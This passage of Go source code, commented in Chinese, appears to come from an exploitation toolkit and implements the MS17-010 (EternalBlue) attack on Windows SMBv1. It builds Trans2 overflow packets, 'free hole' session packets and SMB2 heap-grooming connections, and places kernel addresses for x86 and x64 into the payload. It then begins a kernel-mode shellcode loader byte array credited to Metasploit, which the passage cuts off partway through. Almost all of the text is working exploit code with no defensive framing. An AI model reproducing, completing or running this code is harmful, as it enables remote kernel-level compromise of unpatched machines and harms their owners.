// 获取响应
|
|
_, header, err := smb1GetResponse(conn)
|
|
if err != nil {
|
|
return nil, fmt.Errorf("[-] 获取树连接响应失败: %v", err)
|
|
}
|
|
|
|
return header, nil
|
|
}
|
|
|
|
// writeNetBIOSTreeHeader 写入NetBIOS会话服务头
|
|
func writeNetBIOSTreeHeader(buf *bytes.Buffer) error {
|
|
// 消息类型
|
|
buf.WriteByte(0x00)
|
|
// 长度(稍后更新)
|
|
buf.Write([]byte{0x00, 0x00, 0x00})
|
|
return nil
|
|
}
|
|
|
|
// writeSMBTreeHeader 写入SMB协议头
|
|
func writeSMBTreeHeader(buf *bytes.Buffer, userID uint16) error {
|
|
// SMB标识
|
|
buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42})
|
|
// 命令: Tree Connect AndX
|
|
buf.WriteByte(0x75)
|
|
// NT状态码
|
|
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
|
|
// 标志位
|
|
buf.WriteByte(0x18)
|
|
// 标志位2
|
|
buf.Write([]byte{0x01, 0x20})
|
|
// 进程ID高位
|
|
buf.Write([]byte{0x00, 0x00})
|
|
// 签名
|
|
buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00})
|
|
// 保留字段
|
|
buf.Write([]byte{0x00, 0x00})
|
|
// 树ID
|
|
buf.Write([]byte{0x00, 0x00})
|
|
// 进程ID
|
|
buf.Write([]byte{0x2F, 0x4B})
|
|
// 用户ID
|
|
userIDBuf := make([]byte, 2)
|
|
binary.LittleEndian.PutUint16(userIDBuf, userID)
|
|
buf.Write(userIDBuf)
|
|
// 多路复用ID
|
|
buf.Write([]byte{0xC5, 0x5E})
|
|
return nil
|
|
}
|
|
|
|
// writeTreeConnectRequest 写入树连接请求
|
|
func writeTreeConnectRequest(buf *bytes.Buffer, address string) error {
|
|
// 字段数
|
|
buf.WriteByte(0x04)
|
|
// 无后续命令
|
|
buf.WriteByte(0xFF)
|
|
// 保留字段
|
|
buf.WriteByte(0x00)
|
|
// AndX偏移
|
|
buf.Write([]byte{0x00, 0x00})
|
|
// 标志位
|
|
buf.Write([]byte{0x00, 0x00})
|
|
// 密码长度
|
|
buf.Write([]byte{0x01, 0x00})
|
|
// 字节数
|
|
buf.Write([]byte{0x1A, 0x00})
|
|
// 密码
|
|
buf.WriteByte(0x00)
|
|
|
|
// IPC路径
|
|
host, _, err := net.SplitHostPort(address)
|
|
if err != nil {
|
|
return fmt.Errorf("[-] 解析地址失败: %v", err)
|
|
}
|
|
_, _ = fmt.Fprintf(buf, "\\\\%s\\IPC$", host)
|
|
|
|
// IPC结束符
|
|
buf.WriteByte(0x00)
|
|
// 服务类型
|
|
buf.Write([]byte{0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x00})
|
|
|
|
return nil
|
|
}
|
|
|
|
// updatePacketSize 更新数据包大小
|
|
func updatePacketSize(buf *bytes.Buffer) {
|
|
b := buf.Bytes()
|
|
sizeBuf := make([]byte, 4)
|
|
binary.BigEndian.PutUint32(sizeBuf, uint32(buf.Len()-4))
|
|
copy(b[1:], sizeBuf[1:])
|
|
}
|
|
|
|
// smb1LargeBuffer 发送大缓冲区数据包
|
|
func smb1LargeBuffer(conn net.Conn, header *smbHeader) error {
|
|
// 发送NT Trans请求获取事务头
|
|
transHeader, err := sendNTTrans(conn, header.TreeID, header.UserID)
|
|
if err != nil {
|
|
return fmt.Errorf("[-] 发送NT Trans请求失败: %v", err)
|
|
}
|
|
|
|
treeID := transHeader.TreeID
|
|
userID := transHeader.UserID
|
|
|
|
// 构造数据包
|
|
var transPackets []byte
|
|
|
|
// 添加初始Trans2请求包
|
|
initialPacket := makeSMB1Trans2ExploitPacket(treeID, userID, 0, "zero")
|
|
transPackets = append(transPackets, initialPacket...)
|
|
|
|
// 添加中间的Trans2数据包
|
|
for i := 1; i < 15; i++ {
|
|
packet := makeSMB1Trans2ExploitPacket(treeID, userID, i, "buffer")
|
|
transPackets = append(transPackets, packet...)
|
|
}
|
|
|
|
// 添加Echo数据包
|
|
echoPacket := makeSMB1EchoPacket(treeID, userID)
|
|
transPackets = append(transPackets, echoPacket...)
|
|
|
|
// 发送组合数据包
|
|
if _, err := conn.Write(transPackets); err != nil {
|
|
return fmt.Errorf("[-] 发送大缓冲区数据失败: %v", err)
|
|
}
|
|
|
|
// 获取响应
|
|
if _, _, err := smb1GetResponse(conn); err != nil {
|
|
return fmt.Errorf("[-] 获取大缓冲区响应失败: %v", err)
|
|
}
|
|
|
|
return nil
|
|
}
|
|
|
|
// sendNTTrans 发送NT Trans请求
|
|
func sendNTTrans(conn net.Conn, treeID, userID uint16) (*smbHeader, error) {
|
|
buf := bytes.Buffer{}
|
|
|
|
// 构造NetBIOS会话服务头
|
|
if err := writeNetBIOSNTTransHeader(&buf); err != nil {
|
|
return nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err)
|
|
}
|
|
|
|
// 构造SMB协议头
|
|
if err := writeSMBNTTransHeader(&buf, treeID, userID); err != nil {
|
|
return nil, fmt.Errorf("[-] 构造SMB头失败: %v", err)
|
|
}
|
|
|
|
// 构造NT Trans请求
|
|
if err := writeNTTransRequest(&buf); err != nil {
|
|
return nil, fmt.Errorf("[-] 构造NT Trans请求失败: %v", err)
|
|
}
|
|
|
|
// 发送数据包
|
|
if _, err := buf.WriteTo(conn); err != nil {
|
|
return nil, fmt.Errorf("[-] 发送NT Trans请求失败: %v", err)
|
|
}
|
|
|
|
// 获取响应
|
|
_, header, err := smb1GetResponse(conn)
|
|
if err != nil {
|
|
return nil, fmt.Errorf("[-] 获取NT Trans响应失败: %v", err)
|
|
}
|
|
|
|
return header, nil
|
|
}
|
|
|
|
// writeNetBIOSNTTransHeader 写入NetBIOS会话服务头
|
|
func writeNetBIOSNTTransHeader(buf *bytes.Buffer) error {
|
|
// 消息类型
|
|
buf.WriteByte(0x00)
|
|
// 长度
|
|
buf.Write([]byte{0x00, 0x04, 0x38})
|
|
return nil
|
|
}
|
|
|
|
// writeSMBNTTransHeader 写入SMB协议头
|
|
func writeSMBNTTransHeader(buf *bytes.Buffer, treeID, userID uint16) error {
|
|
// SMB标识
|
|
buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42})
|
|
// 命令: NT Trans
|
|
buf.WriteByte(0xA0)
|
|
// NT状态码
|
|
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
|
|
// 标志位
|
|
buf.WriteByte(0x18)
|
|
// 标志位2
|
|
buf.Write([]byte{0x07, 0xC0})
|
|
// 进程ID高位
|
|
buf.Write([]byte{0x00, 0x00})
|
|
// 签名1
|
|
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
|
|
// 签名2
|
|
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
|
|
// 保留字段
|
|
buf.Write([]byte{0x00, 0x00})
|
|
|
|
// 树ID
|
|
treeIDBuf := make([]byte, 2)
|
|
binary.LittleEndian.PutUint16(treeIDBuf, treeID)
|
|
buf.Write(treeIDBuf)
|
|
|
|
// 进程ID
|
|
buf.Write([]byte{0xFF, 0xFE})
|
|
|
|
// 用户ID
|
|
userIDBuf := make([]byte, 2)
|
|
binary.LittleEndian.PutUint16(userIDBuf, userID)
|
|
buf.Write(userIDBuf)
|
|
|
|
// 多路复用ID
|
|
buf.Write([]byte{0x40, 0x00})
|
|
return nil
|
|
}
|
|
|
|
// writeNTTransRequest 写入NT Trans请求
|
|
func writeNTTransRequest(buf *bytes.Buffer) error {
|
|
// 字段数
|
|
buf.WriteByte(0x14)
|
|
// 最大设置数
|
|
buf.WriteByte(0x01)
|
|
// 保留字段
|
|
buf.Write([]byte{0x00, 0x00})
|
|
// 总参数数
|
|
buf.Write([]byte{0x1E, 0x00, 0x00, 0x00})
|
|
// 总数据数
|
|
buf.Write([]byte{0xd0, 0x03, 0x01, 0x00})
|
|
// 最大参数数
|
|
buf.Write([]byte{0x1E, 0x00, 0x00, 0x00})
|
|
// 最大数据数
|
|
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
|
|
// 参数数
|
|
buf.Write([]byte{0x1E, 0x00, 0x00, 0x00})
|
|
// 参数偏移
|
|
buf.Write([]byte{0x4B, 0x00, 0x00, 0x00})
|
|
// 数据数
|
|
buf.Write([]byte{0xd0, 0x03, 0x00, 0x00})
|
|
// 数据偏移
|
|
buf.Write([]byte{0x68, 0x00, 0x00, 0x00})
|
|
// 设置数
|
|
buf.WriteByte(0x01)
|
|
// 未知功能
|
|
buf.Write([]byte{0x00, 0x00})
|
|
// 未知NT事务设置
|
|
buf.Write([]byte{0x00, 0x00})
|
|
// 字节数
|
|
buf.Write([]byte{0xEC, 0x03})
|
|
|
|
// NT参数
|
|
buf.Write(makeZero(0x1F))
|
|
// 未文档化字段
|
|
buf.WriteByte(0x01)
|
|
buf.Write(makeZero(0x03CD))
|
|
|
|
return nil
|
|
}
|
|
|
|
// makeSMB1Trans2ExploitPacket 创建SMB1 Trans2利用数据包
|
|
func makeSMB1Trans2ExploitPacket(treeID, userID uint16, timeout int, typ string) []byte {
|
|
// 计算超时值
|
|
timeout = timeout*0x10 + 3
|
|
buf := bytes.Buffer{}
|
|
|
|
// 构造NetBIOS会话服务头
|
|
writeNetBIOSTrans2Header(&buf)
|
|
|
|
// 构造SMB协议头
|
|
writeSMBTrans2Header(&buf, treeID, userID)
|
|
|
|
// 构造Trans2请求
|
|
writeTrans2RequestHeader(&buf, timeout)
|
|
|
|
// 根据类型添加特定数据
|
|
writeTrans2PayloadByType(&buf, typ)
|
|
|
|
return buf.Bytes()
|
|
}
|
|
|
|
// writeNetBIOSTrans2Header 写入NetBIOS会话服务头
|
|
func writeNetBIOSTrans2Header(buf *bytes.Buffer) {
|
|
// 消息类型
|
|
buf.WriteByte(0x00)
|
|
// 长度
|
|
buf.Write([]byte{0x00, 0x10, 0x35})
|
|
}
|
|
|
|
// writeSMBTrans2Header 写入SMB协议头
|
|
func writeSMBTrans2Header(buf *bytes.Buffer, treeID, userID uint16) {
|
|
// SMB标识
|
|
buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42})
|
|
// Trans2请求
|
|
buf.WriteByte(0x33)
|
|
// NT状态码
|
|
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
|
|
// 标志位
|
|
buf.WriteByte(0x18)
|
|
// 标志位2
|
|
buf.Write([]byte{0x07, 0xC0})
|
|
// 进程ID高位
|
|
buf.Write([]byte{0x00, 0x00})
|
|
// 签名1和2
|
|
buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00})
|
|
// 保留字段
|
|
buf.Write([]byte{0x00, 0x00})
|
|
|
|
// 树ID
|
|
treeIDBuf := make([]byte, 2)
|
|
binary.LittleEndian.PutUint16(treeIDBuf, treeID)
|
|
buf.Write(treeIDBuf)
|
|
|
|
// 进程ID
|
|
buf.Write([]byte{0xFF, 0xFE})
|
|
|
|
// 用户ID
|
|
userIDBuf := make([]byte, 2)
|
|
binary.LittleEndian.PutUint16(userIDBuf, userID)
|
|
buf.Write(userIDBuf)
|
|
|
|
// 多路复用ID
|
|
buf.Write([]byte{0x40, 0x00})
|
|
}
|
|
|
|
// writeTrans2RequestHeader 写入Trans2请求头
|
|
func writeTrans2RequestHeader(buf *bytes.Buffer, timeout int) {
|
|
// 字段数
|
|
buf.WriteByte(0x09)
|
|
// 总参数数
|
|
buf.Write([]byte{0x00, 0x00})
|
|
// 总数据数
|
|
buf.Write([]byte{0x00, 0x10})
|
|
// 最大参数数
|
|
buf.Write([]byte{0x00, 0x00})
|
|
// 最大数据数
|
|
buf.Write([]byte{0x00, 0x00})
|
|
// 最大设置数
|
|
buf.WriteByte(0x00)
|
|
// 保留字段
|
|
buf.WriteByte(0x00)
|
|
// 标志位
|
|
buf.Write([]byte{0x00, 0x10})
|
|
// 超时设置
|
|
buf.Write([]byte{0x35, 0x00, 0xD0})
|
|
buf.WriteByte(byte(timeout))
|
|
// 保留字段
|
|
buf.Write([]byte{0x00, 0x00})
|
|
// 参数数
|
|
buf.Write([]byte{0x00, 0x10})
|
|
}
|
|
|
|
// writeTrans2PayloadByType 根据类型写入负载数据
|
|
func writeTrans2PayloadByType(buf *bytes.Buffer, typ string) {
|
|
switch typ {
|
|
case "exploit":
|
|
writeExploitPayload(buf)
|
|
case "zero":
|
|
writeZeroPayload(buf)
|
|
default:
|
|
// 默认填充
|
|
buf.Write(bytes.Repeat([]byte{0x41}, 4096))
|
|
}
|
|
}
|
|
|
|
// writeExploitPayload 写入exploit类型负载
|
|
func writeExploitPayload(buf *bytes.Buffer) {
|
|
// 溢出数据
|
|
buf.Write(bytes.Repeat([]byte{0x41}, 2957))
|
|
buf.Write([]byte{0x80, 0x00, 0xA8, 0x00})
|
|
|
|
// 固定格式数据
|
|
buf.Write(makeZero(0x10))
|
|
buf.Write([]byte{0xFF, 0xFF})
|
|
buf.Write(makeZero(0x06))
|
|
buf.Write([]byte{0xFF, 0xFF})
|
|
buf.Write(makeZero(0x16))
|
|
|
|
// x86地址
|
|
buf.Write([]byte{0x00, 0xF1, 0xDF, 0xFF})
|
|
buf.Write(makeZero(0x08))
|
|
buf.Write([]byte{0x20, 0xF0, 0xDF, 0xFF})
|
|
|
|
// x64地址
|
|
buf.Write([]byte{0x00, 0xF1, 0xDF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF})
|
|
|
|
// 后续数据
|
|
writeExploitTrailingData(buf)
|
|
}
|
|
|
|
// writeExploitTrailingData 写入exploit类型的尾部数据
|
|
func writeExploitTrailingData(buf *bytes.Buffer) {
|
|
buf.Write([]byte{0x60, 0x00, 0x04, 0x10})
|
|
buf.Write(makeZero(0x04))
|
|
buf.Write([]byte{0x80, 0xEF, 0xDF, 0xFF})
|
|
buf.Write(makeZero(0x04))
|
|
buf.Write([]byte{0x10, 0x00, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF})
|
|
buf.Write([]byte{0x18, 0x01, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF})
|
|
buf.Write(makeZero(0x10))
|
|
buf.Write([]byte{0x60, 0x00, 0x04, 0x10})
|
|
buf.Write(makeZero(0x0C))
|
|
buf.Write([]byte{0x90, 0xFF, 0xCF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF})
|
|
buf.Write(makeZero(0x08))
|
|
buf.Write([]byte{0x80, 0x10})
|
|
buf.Write(makeZero(0x0E))
|
|
buf.Write([]byte{0x39, 0xBB})
|
|
buf.Write(bytes.Repeat([]byte{0x41}, 965))
|
|
}
|
|
|
|
// writeZeroPayload 写入zero类型负载
|
|
func writeZeroPayload(buf *bytes.Buffer) {
|
|
buf.Write(makeZero(2055))
|
|
buf.Write([]byte{0x83, 0xF3})
|
|
buf.Write(bytes.Repeat([]byte{0x41}, 2039))
|
|
}
|
|
|
|
// makeSMB1EchoPacket 创建SMB1 Echo数据包
|
|
func makeSMB1EchoPacket(treeID, userID uint16) []byte {
|
|
buf := bytes.Buffer{}
|
|
|
|
// 构造NetBIOS会话服务头
|
|
writeNetBIOSEchoHeader(&buf)
|
|
|
|
// 构造SMB协议头
|
|
writeSMBEchoHeader(&buf, treeID, userID)
|
|
|
|
// 构造Echo请求
|
|
writeEchoRequest(&buf)
|
|
|
|
return buf.Bytes()
|
|
}
|
|
|
|
// writeNetBIOSEchoHeader 写入NetBIOS会话服务头
|
|
func writeNetBIOSEchoHeader(buf *bytes.Buffer) {
|
|
// 消息类型
|
|
buf.WriteByte(0x00)
|
|
// 长度
|
|
buf.Write([]byte{0x00, 0x00, 0x31})
|
|
}
|
|
|
|
// writeSMBEchoHeader 写入SMB协议头
|
|
func writeSMBEchoHeader(buf *bytes.Buffer, treeID, userID uint16) {
|
|
// SMB标识
|
|
buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42})
|
|
// Echo命令
|
|
buf.WriteByte(0x2B)
|
|
// NT状态码
|
|
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
|
|
// 标志位
|
|
buf.WriteByte(0x18)
|
|
// 标志位2
|
|
buf.Write([]byte{0x07, 0xC0})
|
|
// 进程ID高位
|
|
buf.Write([]byte{0x00, 0x00})
|
|
// 签名1和2
|
|
buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00})
|
|
// 保留字段
|
|
buf.Write([]byte{0x00, 0x00})
|
|
|
|
// 树ID
|
|
treeIDBuf := make([]byte, 2)
|
|
binary.LittleEndian.PutUint16(treeIDBuf, treeID)
|
|
buf.Write(treeIDBuf)
|
|
|
|
// 进程ID
|
|
buf.Write([]byte{0xFF, 0xFE})
|
|
|
|
// 用户ID
|
|
userIDBuf := make([]byte, 2)
|
|
binary.LittleEndian.PutUint16(userIDBuf, userID)
|
|
buf.Write(userIDBuf)
|
|
|
|
// 多路复用ID
|
|
buf.Write([]byte{0x40, 0x00})
|
|
}
|
|
|
|
// writeEchoRequest 写入Echo请求
|
|
func writeEchoRequest(buf *bytes.Buffer) {
|
|
// 字段数
|
|
buf.WriteByte(0x01)
|
|
// Echo计数
|
|
buf.Write([]byte{0x01, 0x00})
|
|
// 字节数
|
|
buf.Write([]byte{0x0C, 0x00})
|
|
// Echo数据(IDS签名,可置空)
|
|
buf.Write([]byte{0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x00})
|
|
}
|
|
|
|
// smb1FreeHole 创建SMB1内存释放漏洞连接
|
|
func smb1FreeHole(address string, start bool) (net.Conn, error) {
|
|
// 建立TCP连接
|
|
conn, err := net.DialTimeout("tcp", address, 10*time.Second)
|
|
if err != nil {
|
|
return nil, fmt.Errorf("[-] 连接目标失败: %v", err)
|
|
}
|
|
|
|
// 连接状态标记
|
|
var ok bool
|
|
defer func() {
|
|
if !ok {
|
|
_ = conn.Close()
|
|
}
|
|
}()
|
|
|
|
// SMB协议协商
|
|
if err = smbClientNegotiate(conn); err != nil {
|
|
return nil, fmt.Errorf("[-] SMB协议协商失败: %v", err)
|
|
}
|
|
|
|
// 根据开始/结束标志设置不同参数
|
|
var flags2, vcNum, nativeOS []byte
|
|
if start {
|
|
flags2 = []byte{0x07, 0xC0}
|
|
vcNum = []byte{0x2D, 0x01}
|
|
nativeOS = []byte{0xF0, 0xFF, 0x00, 0x00, 0x00}
|
|
} else {
|
|
flags2 = []byte{0x07, 0x40}
|
|
vcNum = []byte{0x2C, 0x01}
|
|
nativeOS = []byte{0xF8, 0x87, 0x00, 0x00, 0x00}
|
|
}
|
|
|
|
// 构造并发送会话数据包
|
|
packet := makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS)
|
|
if _, err = conn.Write(packet); err != nil {
|
|
return nil, fmt.Errorf("[-] 发送内存释放会话数据包失败: %v", err)
|
|
}
|
|
|
|
// 获取响应
|
|
if _, _, err = smb1GetResponse(conn); err != nil {
|
|
return nil, fmt.Errorf("[-] 获取会话响应失败: %v", err)
|
|
}
|
|
|
|
ok = true
|
|
return conn, nil
|
|
}
|
|
|
|
// makeSMB1FreeHoleSessionPacket 创建SMB1内存释放会话数据包
|
|
func makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS []byte) []byte {
|
|
buf := bytes.Buffer{}
|
|
|
|
// 构造NetBIOS会话服务头
|
|
writeNetBIOSFreeHoleHeader(&buf)
|
|
|
|
// 构造SMB协议头
|
|
writeSMBFreeHoleHeader(&buf, flags2)
|
|
|
|
// 构造会话设置请求
|
|
writeSessionSetupFreeHoleRequest(&buf, vcNum, nativeOS)
|
|
|
|
return buf.Bytes()
|
|
}
|
|
|
|
// writeNetBIOSFreeHoleHeader 写入NetBIOS会话服务头
|
|
func writeNetBIOSFreeHoleHeader(buf *bytes.Buffer) {
|
|
// 消息类型
|
|
buf.WriteByte(0x00)
|
|
// 长度
|
|
buf.Write([]byte{0x00, 0x00, 0x51})
|
|
}
|
|
|
|
// writeSMBFreeHoleHeader 写入SMB协议头
|
|
func writeSMBFreeHoleHeader(buf *bytes.Buffer, flags2 []byte) {
|
|
// SMB标识
|
|
buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42})
|
|
// Session Setup AndX命令
|
|
buf.WriteByte(0x73)
|
|
// NT状态码
|
|
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
|
|
// 标志位
|
|
buf.WriteByte(0x18)
|
|
// 标志位2
|
|
buf.Write(flags2)
|
|
// 进程ID高位
|
|
buf.Write([]byte{0x00, 0x00})
|
|
// 签名1和2
|
|
buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00})
|
|
// 保留字段
|
|
buf.Write([]byte{0x00, 0x00})
|
|
// 树ID
|
|
buf.Write([]byte{0x00, 0x00})
|
|
// 进程ID
|
|
buf.Write([]byte{0xFF, 0xFE})
|
|
// 用户ID
|
|
buf.Write([]byte{0x00, 0x00})
|
|
// 多路复用ID
|
|
buf.Write([]byte{0x40, 0x00})
|
|
}
|
|
|
|
// writeSessionSetupFreeHoleRequest 写入会话设置请求
|
|
func writeSessionSetupFreeHoleRequest(buf *bytes.Buffer, vcNum, nativeOS []byte) {
|
|
// 字段数
|
|
buf.WriteByte(0x0C)
|
|
// 无后续命令
|
|
buf.WriteByte(0xFF)
|
|
// 保留字段
|
|
buf.WriteByte(0x00)
|
|
// AndX偏移
|
|
buf.Write([]byte{0x00, 0x00})
|
|
// 最大缓冲区
|
|
buf.Write([]byte{0x04, 0x11})
|
|
// 最大并发数
|
|
buf.Write([]byte{0x0A, 0x00})
|
|
// VC编号
|
|
buf.Write(vcNum)
|
|
// 会话密钥
|
|
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
|
|
// 安全数据长度
|
|
buf.Write([]byte{0x00, 0x00})
|
|
// 保留字段
|
|
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
|
|
// 功能标志
|
|
buf.Write([]byte{0x00, 0x00, 0x00, 0x80})
|
|
// 字节数
|
|
buf.Write([]byte{0x16, 0x00})
|
|
// 原生操作系统
|
|
buf.Write(nativeOS)
|
|
// 额外参数
|
|
buf.Write(makeZero(17))
|
|
}
|
|
|
|
// smb2Grooms 创建多个SMB2连接
|
|
func smb2Grooms(address string, grooms int) ([]net.Conn, error) {
|
|
// 创建SMB2头
|
|
header := makeSMB2Header()
|
|
|
|
var (
|
|
conns []net.Conn
|
|
ok bool
|
|
)
|
|
|
|
// 失败时关闭所有连接
|
|
defer func() {
|
|
if ok {
|
|
return
|
|
}
|
|
for _, conn := range conns {
|
|
_ = conn.Close()
|
|
}
|
|
}()
|
|
|
|
// 建立多个连接
|
|
for i := 0; i < grooms; i++ {
|
|
// 创建TCP连接
|
|
conn, err := net.DialTimeout("tcp", address, 10*time.Second)
|
|
if err != nil {
|
|
return nil, fmt.Errorf("[-] 连接目标失败: %v", err)
|
|
}
|
|
|
|
// 发送SMB2头
|
|
if _, err = conn.Write(header); err != nil {
|
|
return nil, fmt.Errorf("[-] 发送SMB2头失败: %v", err)
|
|
}
|
|
|
|
conns = append(conns, conn)
|
|
}
|
|
|
|
ok = true
|
|
return conns, nil
|
|
}
|
|
|
|
const (
|
|
packetMaxLen = 4204 // 数据包最大长度
|
|
packetSetupLen = 497 // 数据包设置部分长度
|
|
)
|
|
|
|
// makeSMB2Header 创建SMB2协议头
|
|
func makeSMB2Header() []byte {
|
|
buf := bytes.Buffer{}
|
|
|
|
// SMB2协议标识
|
|
buf.Write([]byte{0x00, 0x00, 0xFF, 0xF7, 0xFE})
|
|
buf.WriteString("SMB")
|
|
|
|
// 填充剩余字节
|
|
buf.Write(makeZero(124))
|
|
|
|
return buf.Bytes()
|
|
}
|
|
|
|
// makeSMB2Body 创建SMB2协议体
|
|
func makeSMB2Body(payload []byte) []byte {
|
|
const packetMaxPayload = packetMaxLen - packetSetupLen // 计算最大负载长度
|
|
buf := bytes.Buffer{}
|
|
|
|
// 写入填充数据
|
|
writePaddingData(&buf)
|
|
|
|
// 写入KI_USER_SHARED_DATA地址
|
|
writeSharedDataAddresses(&buf)
|
|
|
|
// 写入负载地址和相关数据
|
|
writePayloadAddresses(&buf)
|
|
|
|
// 写入负载数据
|
|
buf.Write(payload)
|
|
|
|
// 填充剩余空间(可随机生成)
|
|
buf.Write(makeZero(packetMaxPayload - len(payload)))
|
|
|
|
return buf.Bytes()
|
|
}
|
|
|
|
// writePaddingData 写入填充数据
|
|
func writePaddingData(buf *bytes.Buffer) {
|
|
buf.Write(makeZero(0x08))
|
|
buf.Write([]byte{0x03, 0x00, 0x00, 0x00})
|
|
buf.Write(makeZero(0x1C))
|
|
buf.Write([]byte{0x03, 0x00, 0x00, 0x00})
|
|
buf.Write(makeZero(0x74))
|
|
}
|
|
|
|
// writeSharedDataAddresses 写入共享数据地址
|
|
func writeSharedDataAddresses(buf *bytes.Buffer) {
|
|
// x64地址
|
|
x64Address := []byte{0xb0, 0x00, 0xd0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}
|
|
buf.Write(bytes.Repeat(x64Address, 2))
|
|
buf.Write(makeZero(0x10))
|
|
|
|
// x86地址
|
|
x86Address := []byte{0xC0, 0xF0, 0xDF, 0xFF}
|
|
buf.Write(bytes.Repeat(x86Address, 2))
|
|
buf.Write(makeZero(0xC4))
|
|
}
|
|
|
|
// writePayloadAddresses 写入负载地址和相关数据
|
|
func writePayloadAddresses(buf *bytes.Buffer) {
|
|
// 负载地址
|
|
buf.Write([]byte{0x90, 0xF1, 0xDF, 0xFF})
|
|
buf.Write(makeZero(0x04))
|
|
buf.Write([]byte{0xF0, 0xF1, 0xDF, 0xFF})
|
|
buf.Write(makeZero(0x40))
|
|
|
|
// 附加数据
|
|
buf.Write([]byte{0xF0, 0x01, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF})
|
|
buf.Write(makeZero(0x08))
|
|
buf.Write([]byte{0x00, 0x02, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF})
|
|
buf.WriteByte(0x00)
|
|
}
|
|
|
|
// makeZero 创建指定大小的零值字节切片
|
|
func makeZero(size int) []byte {
|
|
return bytes.Repeat([]byte{0}, size)
|
|
}
|
|
|
|
// loader 用于在内核模式下运行用户模式shellcode的加载器
|
|
// 参考自Metasploit-Framework:
|
|
// 文件: msf/external/source/sc/windows/multi_arch_kernel_queue_apc.asm
|
|
// 二进制: modules/exploits/windows/smb/ms17_010_eternalblue.rb: def make_kernel_sc
|
|
var loader = [...]byte{
|
|
0x31, 0xC9, 0x41, 0xE2, 0x01, 0xC3, 0xB9, 0x82, 0x00, 0x00, 0xC0, 0x0F, 0x32, 0x48, 0xBB, 0xF8,
|
|
0x0F, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x89, 0x53, 0x04, 0x89, 0x03, 0x48, 0x8D, 0x05, 0x0A,
|
|
0x00, 0x00, 0x00, 0x48, 0x89, 0xC2, 0x48, 0xC1, 0xEA, 0x20, 0x0F, 0x30, 0xC3, 0x0F, 0x01, 0xF8,
|
|
0x65, 0x48, 0x89, 0x24, 0x25, 0x10, 0x00, 0x00, 0x00, 0x65, 0x48, 0x8B, 0x24, 0x25, 0xA8, 0x01,
|
|
0x00, 0x00, 0x50, 0x53, 0x51, 0x52, 0x56, 0x57, 0x55, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41,
|
|
0x53, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x6A, 0x2B, 0x65, 0xFF, 0x34, 0x25, 0x10,
|
|
0x00, 0x00, 0x00, 0x41, 0x53, 0x6A, 0x33, 0x51, 0x4C, 0x89, 0xD1, 0x48, 0x83, 0xEC, 0x08, 0x55,
|
|
0x48, 0x81, 0xEC, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8D, 0xAC, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48,
|
|
0x89, 0x9D, 0xC0, 0x00, 0x00, 0x00, 0x48, 0x89, 0xBD, 0xC8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xB5,
|
|
0xD0, 0x00, 0x00, 0x00, 0x48, 0xA1, 0xF8, 0x0F, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x89,
|
|
0xC2, 0x48, 0xC1, 0xEA, 0x20, 0x48, 0x31, 0xDB, 0xFF, 0xCB, 0x48, 0x21, 0xD8, 0xB9, 0x82, 0x00,
|
|
0x00, 0xC0, 0x0F, 0x30, 0xFB, 0xE8, 0x38, 0x00, 0x00, 0x00, 0xFA, 0x65, 0x48, 0x8B, 0x24, 0x25,
|
|
0xA8, 0x01, 0x00, 0x00, 0x48, 0x83, 0xEC, 0x78, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C,
|
|
0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59, 0x41, 0x58, 0x5D, 0x5F, 0x5E, 0x5A, 0x59, 0x5B, 0x58, 0x65,
|
|
0x48, 0x8B, 0x24, 0x25, 0x10, 0x00, 0x00, 0x00, 0x0F, 0x01, 0xF8, 0xFF, 0x24, 0x25, 0xF8, 0x0F,
|
|
0xD0, 0xFF, 0x56, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x53, 0x55, 0x48, 0x89, 0xE5,
|
|
0x66, 0x83, 0xE4, 0xF0, 0x48, 0x83, 0xEC, 0x20, 0x4C, 0x8D, 0x35, 0xE3, 0xFF, 0xFF, 0xFF, 0x65,
|
|
0x4C, 0x8B, 0x3C, 0x25, 0x38, 0x00, 0x00, 0x00, 0x4D, 0x8B, 0x7F, 0x04, 0x49, 0xC1, 0xEF, 0x0C,
|
|
